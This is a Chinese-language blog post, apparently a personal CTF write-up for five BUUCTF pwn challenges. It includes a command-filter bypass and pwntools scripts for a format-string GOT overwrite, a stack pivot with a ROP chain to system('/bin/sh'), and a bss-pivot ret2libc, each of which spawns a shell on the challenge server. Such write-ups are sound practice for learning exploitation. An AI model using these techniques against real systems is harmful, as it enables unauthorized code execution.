<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge, chrome=1" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
<meta name="browsermode" content="application">
<meta name="apple-touch-fullscreen" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-title" content="Axojhf的博客">
<meta name="apple-mobile-web-app-status-bar-style" content="default">
<meta name="msapplication-navbutton-color" content="#666666">
<meta name= "format-detection" content="telephone=no" />





  <meta name="keywords" content="Writeup, nlvi" />


<link rel="apple-touch-startup-image" media="(device-width: 375px)" href="assets/apple-launch-1125x2436.png">
<link rel="apple-touch-startup-image" media="(orientation: landscape)" href="assets/apple-touch-startup-image-2048x1496.png">

<link rel="stylesheet" href="/blog/style/style.css">

<script>
  var nlviconfig = {
    title: "Axojhf的博客",
    author: "Axojhf",
    baseUrl: "/blog/",
    theme: {
      scheme: "banderole",
      lightbox: true,
      animate: true,
      search: true,
      friends: false,
      reward: false,
      pjax: false,
      lazy: false,
      toc: true
    }
  }
</script>




    
<link rel="stylesheet" href="/blog/script/lib/lightbox/css/lightbox.min.css">





    
<link rel="stylesheet" href="/blog/syuanpi/syuanpi.min.css">
















<style>
@font-face {
  font-family: "Allura";
  src: url('/blog/font/allura/allura.ttf');
}
</style>

  <title> BUUCTF-Pwn题-Writeup（7） · Axojhf的博客 </title>
<meta name="generator" content="Hexo 4.2.1"></head>
<body>
  <div class="container">
    <header class="header" id="header">
  <div class="header-wrapper">
    <div class="logo">
  <div class="logo-inner syuanpi tvIn" style="display:none;">
    <h1><a href="/blog/">Axojhf的博客</a></h1>
    
  </div>
</div>

    <nav class="main-nav">
  
  <ul class="main-nav-list syuanpi tvIn">
  
    <li class="menu-item">
      <a href="javascript:;" id="search-btn" aria-label="Search">
        <i class="iconfont icon-search"></i>
      </a>
    </li>
  
  
  
    
  
    <li class="menu-item">
      <a href="/blog/" id="article">
        <span class="base-name">
          
            ARTICLE
          
        </span>
      </a>
    </li>
  
  
    
  
    <li class="menu-item">
      <a href="/blog/archives" id="archives">
        <span class="base-name">
          
            ARCHIVES
          
        </span>
      </a>
    </li>
  
  
    
  
    <li class="menu-item">
      <a href="javascript:;" id="tags">
        <span class="base-name">
          
            TAGS
          
        </span>
      </a>
    </li>
  
  
    
  
    <li class="menu-item">
      <a href="/blog/about" id="about">
        <span class="base-name">
          
            ABOUT
          
        </span>
      </a>
    </li>
  
  
  </ul>
  
</nav>

  </div>
</header>
<div class="mobile-header" id="mobile-header">
  <div class="mobile-header-nav">
    <div class="mobile-header-item" id="mobile-left">
      <div class="header-menu-item">
        <div class="header-menu-line"></div>
      </div>
    </div>
    <h1 class="mobile-header-title">
      <a href="/">Axojhf的博客</a>
    </h1>
    <div class="mobile-header-item"></div>
  </div>
  <div class="mobile-header-body">
    <ul class="mobile-header-list">
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-0">
          <a href="/blog/" >
            
              ARTICLE
            
          </a>
        </li>
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-1">
          <a href="/blog/archives" >
            
              ARCHIVES
            
          </a>
        </li>
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-2">
          <a href="javascript:;" id="mobile-tags">
            
              TAGS
            
          </a>
        </li>
      
        <li class="mobile-nav-item syuanpi fadeInRightShort back-3">
          <a href="/blog/about" >
            
              ABOUT
            
          </a>
        </li>
      
    </ul>
  </div>
</div>



    <div class="container-inner" style="display:none;">
      <main class="main" id="main">
        <div class="main-wrapper">
          
    
  
  <article class="
  post
   is_post 
  ">
    <header class="post-header">
      <div class="post-time syuanpi fadeInRightShort back-1">
        <div class="post-time-wrapper">
          
          <time>2020-09-21</time>
          
        </div>
      </div>
      <h2 class="post-title syuanpi fadeInRightShort back-2">
        
          BUUCTF-Pwn题-Writeup（7）
        
      </h2>
    </header>
    <div class="post-content syuanpi fadeInRightShort back-3">
      
        <p>(博主还是菜鸟，有些知识可能理解不够透彻，有些表述可能不够严谨，欢迎大家指正，望大家多多包涵)</p>
<a id="more"></a>

<h1 id="BJDCTF-2nd-test-题"><a href="#BJDCTF-2nd-test-题" class="headerlink" title="[BJDCTF 2nd]test    题"></a>[BJDCTF 2nd]test    题</h1><p>这个题直接让你用ssh连接服务器，连上后可以看到目录下有三个文件，其中flag在ctf用户下没有读写权限：<img src="image-20200921212311263.png" alt="image-20200921212311263"></p>
<p>test.c是test的源码，可以看到过滤了大量命令信息：</p>
<p><img src="image-20200921212430829.png" alt="image-20200921212430829"></p>
<p>由于我对Linux命令不够熟悉，所以我也不知道怎么办才好，只有去看看大佬的Writeup：<a href="https://blog.csdn.net/qin9800/article/details/105058058" target="_blank" rel="noopener">https://blog.csdn.net/qin9800/article/details/105058058</a>，大佬使用命令：</p>
<p><code>ls /usr/bin/ /bin/ | grep -v -E &quot;n|e|p|b|u|s|h|i|f|l|a|g&quot;</code>过滤了test程序不允许使用的命令，发现有这么几个命令可用：</p>
<p><img src="image-20200921213423722.png" alt="image-20200921213423722"></p>
<p>大佬使用了od与x86_64命令获取了flag</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>难度：★★★</p>
<p>这道题不是非常传统的pwn题，主要考察了做题人对Linux命令的了解，我在这方面还是比较欠缺的，所以对这道题几乎无从下手。</p>
<h1 id="others-shellcode-题"><a href="#others-shellcode-题" class="headerlink" title="others_shellcode    题"></a>others_shellcode    题</h1><p>程序保护信息：</p>
<p><img src="image-20200921214650455.png" alt="image-20200921214650455"></p>
<p>可以看到它的<code>getShell</code>函数里执行了一个系统调用，实际在执行时会打卡一个<code>shell</code></p>
<p><img src="image-20200921214745600.png" alt="image-20200921214745600"></p>
<h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>难度：★</p>
<p>直接执行即可</p>
<h1 id="BJDCTF-2nd-r2t4-题"><a href="#BJDCTF-2nd-r2t4-题" class="headerlink" title="[BJDCTF 2nd]r2t4    题"></a>[BJDCTF 2nd]r2t4    题</h1><p>程序保护信息：</p>
<p><img src="image-20200925193532899.png" alt="image-20200925193532899"></p>
<p>由main函数可知无法直接通过栈溢出让程序跳转到<code>backdoor</code>函数获得flag，<img src="image-20200925193709440.png" alt="image-20200925193709440"></p>
<p>这里我使用修改GOT表的方法将可能会执行的函数<code>__stack_chk_fail</code>的GOT表信息改为<code>0x400626</code>（<code>backdoor</code>函数的地址），然后随便覆盖一下canary的信息，使<code>__stack_chk_fail</code>能够执行，获得<code>flag</code>。</p>
<p>解题脚本：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = remote(<span class="string">'node3.buuoj.cn'</span>, <span class="number">27338</span>)</span><br><span class="line">payload = (<span class="string">'%1574c%8$hn'</span>.ljust(<span class="number">0x10</span>, <span class="string">'\x00'</span>) + p64(<span class="number">0x601018</span>)).ljust(<span class="number">0x38</span>, <span class="string">'A'</span>)</span><br><span class="line">p.send(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="总结-2"><a href="#总结-2" class="headerlink" title="总结"></a>总结</h2><p>难度：★★</p>
<p>格式化字符串漏洞的利用，利用<code>$hn</code>覆盖小地址（两字节）提高效率。</p>
<h1 id="ciscn-2019-es-2-题"><a href="#ciscn-2019-es-2-题" class="headerlink" title="ciscn_2019_es_2    题"></a>ciscn_2019_es_2    题</h1><p>程序保护信息：</p>
<p><img src="image-20200925203023924.png" alt="image-20200925203023924"></p>
<p><code>vuln</code>函数可以栈溢出，也可以打印栈内的信息：</p>
<p><img src="image-20200925203111393.png" alt="image-20200925203111393"></p>
<p>题目里有个<code>hack</code>函数，但是即使执行它也不能获取flag：</p>
<p><img src="image-20200925203206950.png" alt="image-20200925203206950"></p>
<p>而要想执行一些操作，我们必须让程序的执行执行方向转移到我们需要的地方来。这里我卡了很久，最后去看了大佬的Writeup（<a href="https://blog.csdn.net/github_36788573/article/details/103689296" target="_blank" rel="noopener">https://blog.csdn.net/github_36788573/article/details/103689296</a>）启发了思路。</p>
<p>因为<code>vuln</code>在函数<code>main</code>里，而我们现在可以修改<code>vuln</code>函数的<code>epb</code>值来进行栈迁移。</p>
<p>解题脚本：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = remote(<span class="string">'node3.buuoj.cn'</span>, <span class="number">00000</span>)</span><br><span class="line"></span><br><span class="line">system_plt = <span class="number">0x08048400</span></span><br><span class="line"></span><br><span class="line">p.sendafter(<span class="string">'name?\n'</span>, <span class="string">'A'</span> * <span class="number">0x28</span>)</span><br><span class="line">p.recvuntil(<span class="string">'A'</span> * <span class="number">0x28</span>)</span><br><span class="line">stack_add = u32(p.recv(<span class="number">4</span>))		<span class="comment">#首先先泄露ebp的信息</span></span><br><span class="line"><span class="keyword">print</span> hex(stack_add)</span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">这个部分是构造一个常规的ROP去执行system("/bin/sh")其中stack_add - 0x38 + 0xc正好指向/bin/sh字符串</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">payload = p32(system_plt) + p32(<span class="number">0</span>) + p32(stack_add - <span class="number">0x38</span> + <span class="number">0xc</span>) + <span class="string">'/bin/sh'</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">这部分把stack_add - 0x10填充到ebp位置上，使得程序执行完main函数后能够跳转到指定栈的位置，</span></span><br><span class="line"><span class="string">因为main函数在vuln执行返回后会执行：</span></span><br><span class="line"><span class="string">mov     eax, 0</span></span><br><span class="line"><span class="string">mov     ecx, [ebp+var_4]</span></span><br><span class="line"><span class="string">leave</span></span><br><span class="line"><span class="string">lea     esp, [ecx-4]</span></span><br><span class="line"><span class="string">retn</span></span><br><span class="line"><span class="string">所以需要把vuln的ebp设置为一个特点地址（stack_add - 0x10），然后再让这个地址指向payload开始处的system_plt的位置，执行ROP链。</span></span><br><span class="line"><span class="string">（payload的构造方法有很多种，我这里只是根据我自己的理解写出来的）</span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line">payload = payload.ljust(<span class="number">0x24</span>, <span class="string">'\x00'</span>) + p32(stack_add - <span class="number">0x38</span> + <span class="number">4</span>) + p32(stack_add - <span class="number">0x10</span>)</span><br><span class="line">p.send(payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="总结-3"><a href="#总结-3" class="headerlink" title="总结"></a>总结</h2><p>难度：★★★</p>
<p>这道题主要考察对<code>ebp</code>修改从而达到栈迁移的目的，这方面的题我写的比较少，而且这种题偏向于对汇编知识的考察，我对某些汇编的知识还是不够熟悉，所以这道题我没法快速切入重点。</p>
<h1 id="Black-Watch-入群题-PWN-题"><a href="#Black-Watch-入群题-PWN-题" class="headerlink" title="[Black Watch 入群题]PWN    题"></a>[Black Watch 入群题]PWN    题</h1><p>程序保护信息：</p>
<p><img src="image-20200925221237969.png" alt="image-20200925221237969"></p>
<p><code>main</code>函数里有个<code>vul_function</code>可以栈溢出，但是无法直接构造ROP链在栈里执行：</p>
<p><img src="image-20200925221354673.png" alt="image-20200925221354673"></p>
<p>这里思路其实和ciscn_2019_es_2题类似，但是我没有提供栈的位置信息，在看了大佬的Writeup（<a href="https://www.cnblogs.com/gaonuoqi/p/12436377.html" target="_blank" rel="noopener">https://www.cnblogs.com/gaonuoqi/p/12436377.html</a>）后发现可以把bss</p>
<p>段（上图中<code>s</code>变量的位置）当栈来使用。</p>
<p>然后就是用<code>ret2libc</code>的方法了。</p>
<p>解题脚本：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level = <span class="string">'debug'</span></span><br><span class="line">p = remote(<span class="string">'node3.buuoj.cn'</span>, <span class="number">26339</span>)</span><br><span class="line">read_got = <span class="number">0x0804A00C</span></span><br><span class="line">write_plt = <span class="number">0x08048380</span></span><br><span class="line">main_add = <span class="number">0x08048513</span></span><br><span class="line"></span><br><span class="line"><span class="string">'''这里我之前想用puts函数泄露libc相关信息，但是一个是因为“栈”不是原来的那个“栈”了，二个是本来puts还没用过，GOT还没绑定，所以失败了'''</span></span><br><span class="line">p.sendafter(<span class="string">'name?'</span>, p32(write_plt) + p32(main_add) + p32(<span class="number">1</span>) + p32(read_got) + p32(<span class="number">4</span>))</span><br><span class="line">payload = <span class="string">'A'</span> * <span class="number">0x18</span> + p32(<span class="number">0x0804A300</span> - <span class="number">4</span>) + p32(<span class="number">0x08048511</span>)</span><br><span class="line">p.sendafter(<span class="string">'say?'</span>, payload)</span><br><span class="line">read_add = u32(p.recv(<span class="number">4</span>))</span><br><span class="line"><span class="keyword">print</span> hex(read_add)</span><br><span class="line">system_add = read_add - <span class="number">0x99a10</span></span><br><span class="line">binsh_add = read_add + <span class="number">0x84cdb</span></span><br><span class="line">p.sendafter(<span class="string">'name?'</span>, p32(system_add) + p32(main_add) + p32(binsh_add))</span><br><span class="line">p.sendafter(<span class="string">'say?'</span>, payload)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>

<h2 id="总结-4"><a href="#总结-4" class="headerlink" title="总结"></a>总结</h2><p>难度：★★★</p>
<p>这道题还是考察”栈迁移“这个知识点，但是我还是不够熟悉，也没想到用bss段当”栈“使用。</p>

      
    
    </div>
    
      <div class="post-tags syuanpi fadeInRightShort back-3">
      
        <a href="/blog/tags/Writeup/">Writeup</a>
      
      </div>
    
    
      

      
  <hr class="copy-line">
  <div class="post-copyright">
    <div class="copy-author">
      <span>作者 :</span>
      <span>Axojhf</span>
    </div>
    <div class="copy-url">
      <span>地址 :</span>
      <a href="http://xiaoaoaode.gitee.io/blog/2020/09/21/f87fade1/">http://xiaoaoaode.gitee.io/blog/2020/09/21/f87fade1/</a>
    </div>
    <div class="copy-origin">
      <span>来源 :</span>
      <a href="http://xiaoaoaode.gitee.io/blog">http://xiaoaoaode.gitee.io/blog</a>
    </div>
    <div class="copy-license">
      
      著作权归作者所有，转载请联系作者获得授权。
    </div>
  </div>

    
  </article>
  
    
  <nav class="article-page">
    
      <a href="/blog/2020/09/28/a01cbdb7/" id="art-left" class="art-left">
        <span class="next-title">
          <i class="iconfont icon-left"></i>BUUCTF-Pwn题-Writeup（8）
        </span>
      </a>
    
    
      <a href="/blog/2020/09/04/40c3ca84/" id="art-right" class="art-right">
        <span class="prev-title">
          BUUCTF-Pwn题-Writeup（6）<i class="iconfont icon-right"></i>
        </span>
      </a>
    
  </nav>


    
  <i id="com-switch" class="iconfont icon-down jumping-in long infinite" style="font-size:24px;display:block;text-align:center;transform:rotate(180deg);"></i>
  <div class="post-comments" id="post-comments" style="display: block;margin: auto 16px;">
    

    
    

    

  </div>



  
  
    
  
  <aside class="post-toc">
    <div class="title"><span>文章导航</span></div>
    <div class="toc-inner">
      <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#BJDCTF-2nd-test-题"><span class="toc-text">[BJDCTF 2nd]test    题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#总结"><span class="toc-text">总结</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#others-shellcode-题"><span class="toc-text">others_shellcode    题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#总结-1"><span class="toc-text">总结</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#BJDCTF-2nd-r2t4-题"><span class="toc-text">[BJDCTF 2nd]r2t4    题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#总结-2"><span class="toc-text">总结</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#ciscn-2019-es-2-题"><span class="toc-text">ciscn_2019_es_2    题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#总结-3"><span class="toc-text">总结</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#Black-Watch-入群题-PWN-题"><span class="toc-text">[Black Watch 入群题]PWN    题</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#总结-4"><span class="toc-text">总结</span></a></li></ol></li></ol>
    </div>
  </aside>



  


        </div>
      </main>
      <footer class="footer syuanpi fadeIn" id="footer">
  <hr>
  <div class="footer-wrapper">
    <div class="left">
      <div class="contact-icon">
  
  
</div>

    </div>
    <div class="right">
      <div class="copyright">
    <div class="info">
        <span>&copy;</span>
        <span>2020 ~ 2020</span>
        <span>❤</span>
        <span>Axojhf</span>
    </div>
    <div class="theme">
        <span>
            动力来源于
            <a href="http://hexo.io/" target="_blank" rel="noopener">Hexo </a>
        </span>
        <span>
            主题
            <a href="https://github.com/ColMugX/hexo-theme-Nlvi" target="_blank" rel="noopener"> Nlvi </a>
        </span>
    </div>
    
</div>

    </div>
  </div>
</footer>
    </div>
    <div class="tagcloud" id="tagcloud">
  <div class="tagcloud-taglist">
  
    <div class="tagcloud-tag">
      <button>Writeup</button>
    </div>
  
    <div class="tagcloud-tag">
      <button>其他</button>
    </div>
  
    <div class="tagcloud-tag">
      <button>知识点记录</button>
    </div>
  
  </div>
  
    <div class="tagcloud-postlist active">
      <h2>Writeup</h2>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/27/dd14f23d/">
            <time class="tagcloud-posttime">2020 / 07 / 27</time>
            <span>BUUCTF-Pwn题-Writeup（1）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/28/cfa15dd3/">
            <time class="tagcloud-posttime">2020 / 07 / 28</time>
            <span>BUUCTF-Pwn题-Writeup（2）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/16/771d3ab6/">
            <time class="tagcloud-posttime">2020 / 08 / 16</time>
            <span>BUUCTF-Pwn题-Writeup（3）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/19/5276656a/">
            <time class="tagcloud-posttime">2020 / 08 / 19</time>
            <span>BUUCTF-Pwn题-Writeup（5）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/17/eaca020f/">
            <time class="tagcloud-posttime">2020 / 08 / 17</time>
            <span>BUUCTF-Pwn题-Writeup（4）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/09/21/f87fade1/">
            <time class="tagcloud-posttime">2020 / 09 / 21</time>
            <span>BUUCTF-Pwn题-Writeup（7）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/09/04/40c3ca84/">
            <time class="tagcloud-posttime">2020 / 09 / 04</time>
            <span>BUUCTF-Pwn题-Writeup（6）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/09/28/a01cbdb7/">
            <time class="tagcloud-posttime">2020 / 09 / 28</time>
            <span>BUUCTF-Pwn题-Writeup（8）</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/31/2253bdbe/">
            <time class="tagcloud-posttime">2020 / 08 / 31</time>
            <span>DASCTF2020八月赛个人Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/26/253f1adb/">
            <time class="tagcloud-posttime">2020 / 07 / 26</time>
            <span>DASCTF七月赛个人Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/24/49582296/">
            <time class="tagcloud-posttime">2020 / 08 / 24</time>
            <span>CISCN2020初赛个人Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/01/14185/">
            <time class="tagcloud-posttime">2020 / 06 / 01</time>
            <span>我写出来的招新题的Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/17/45ae5a23/">
            <time class="tagcloud-posttime">2020 / 06 / 17</time>
            <span>攻防世界-“250”题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/09/7b438d60/">
            <time class="tagcloud-posttime">2020 / 06 / 09</time>
            <span>攻防世界-babyheap题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/17/47cfb24f/">
            <time class="tagcloud-posttime">2020 / 06 / 17</time>
            <span>攻防世界-“Recho”题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/12/e563c85c/">
            <time class="tagcloud-posttime">2020 / 07 / 12</time>
            <span>攻防世界-magic题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/10/07/9b619749/">
            <time class="tagcloud-posttime">2020 / 10 / 07</time>
            <span>攻防世界-nobug题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/02/471a08d2/">
            <time class="tagcloud-posttime">2020 / 06 / 02</time>
            <span>攻防世界--supermarket题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/10/04/77eb8480/">
            <time class="tagcloud-posttime">2020 / 10 / 04</time>
            <span>攻防世界-onemanarmy题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/02/a54507f8/">
            <time class="tagcloud-posttime">2020 / 06 / 02</time>
            <span>攻防世界——dice_game题Writeup</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/06/10/928398a1/">
            <time class="tagcloud-posttime">2020 / 06 / 10</time>
            <span>攻防世界-"实时数据监测"题Writeup</span>
          </a>
        </div>
      
    </div>
  
    <div class="tagcloud-postlist ">
      <h2>其他</h2>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/07/38a4c9bb/">
            <time class="tagcloud-posttime">2020 / 08 / 07</time>
            <span>Pwn环境的搭建和解答一些简单Pwn题的分享</span>
          </a>
        </div>
      
    </div>
  
    <div class="tagcloud-postlist ">
      <h2>知识点记录</h2>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/10/44355a63/">
            <time class="tagcloud-posttime">2020 / 08 / 10</time>
            <span>_IO_FILE结构与fread函数知识点小结</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/08/01/8e1ab4ab/">
            <time class="tagcloud-posttime">2020 / 08 / 01</time>
            <span>Pwn题里有关seccomp和prctl函数的知识点小结</span>
          </a>
        </div>
      
        <div class="tagcloud-post">
          <a href="/blog/2020/07/19/5cfa9d84/">
            <time class="tagcloud-posttime">2020 / 07 / 19</time>
            <span>正则表达式学习1</span>
          </a>
        </div>
      
    </div>
  
</div>

  </div>
  <div class="backtop syuanpi melt toTop" id="backtop">
    <i class="iconfont icon-up"></i>
    <span style="text-align:center;font-family:Georgia;"><span style="font-family:Georgia;" id="scrollpercent">1</span>%</span>
</div>

  <div class="search" id="search">
    <div class="input">
      <input type="text" id="search-input" placeholder="搜索一下？" autofocus>
    </div>
    <div id="search-result"></div>
  </div>



<script src="https://cdn.jsdelivr.net/npm/jquery@3.4.1/dist/jquery.min.js"></script>



  <script></script>
  <script src="/blog/script/lib/lightbox/js/lightbox.min.js" async></script>











  
<script src="/blog/script/scheme/banderole.js"></script>




<script src="/blog/script/bootstarp.js"></script>



<script>
if (nlviconfig.theme.toc) {
  setTimeout(function() {
    if (nlviconfig.theme.scheme === 'balance') {
      $("#header").addClass("show_toc");
    } else if (nlviconfig.theme.scheme === 'banderole') {
      $(".container-inner").addClass("has_toc");
      $(".post-toc .title").addClass("show");
      $(".toc-inner").addClass("show");
    }
  }, 1000);
}
</script>



</body>
</html>
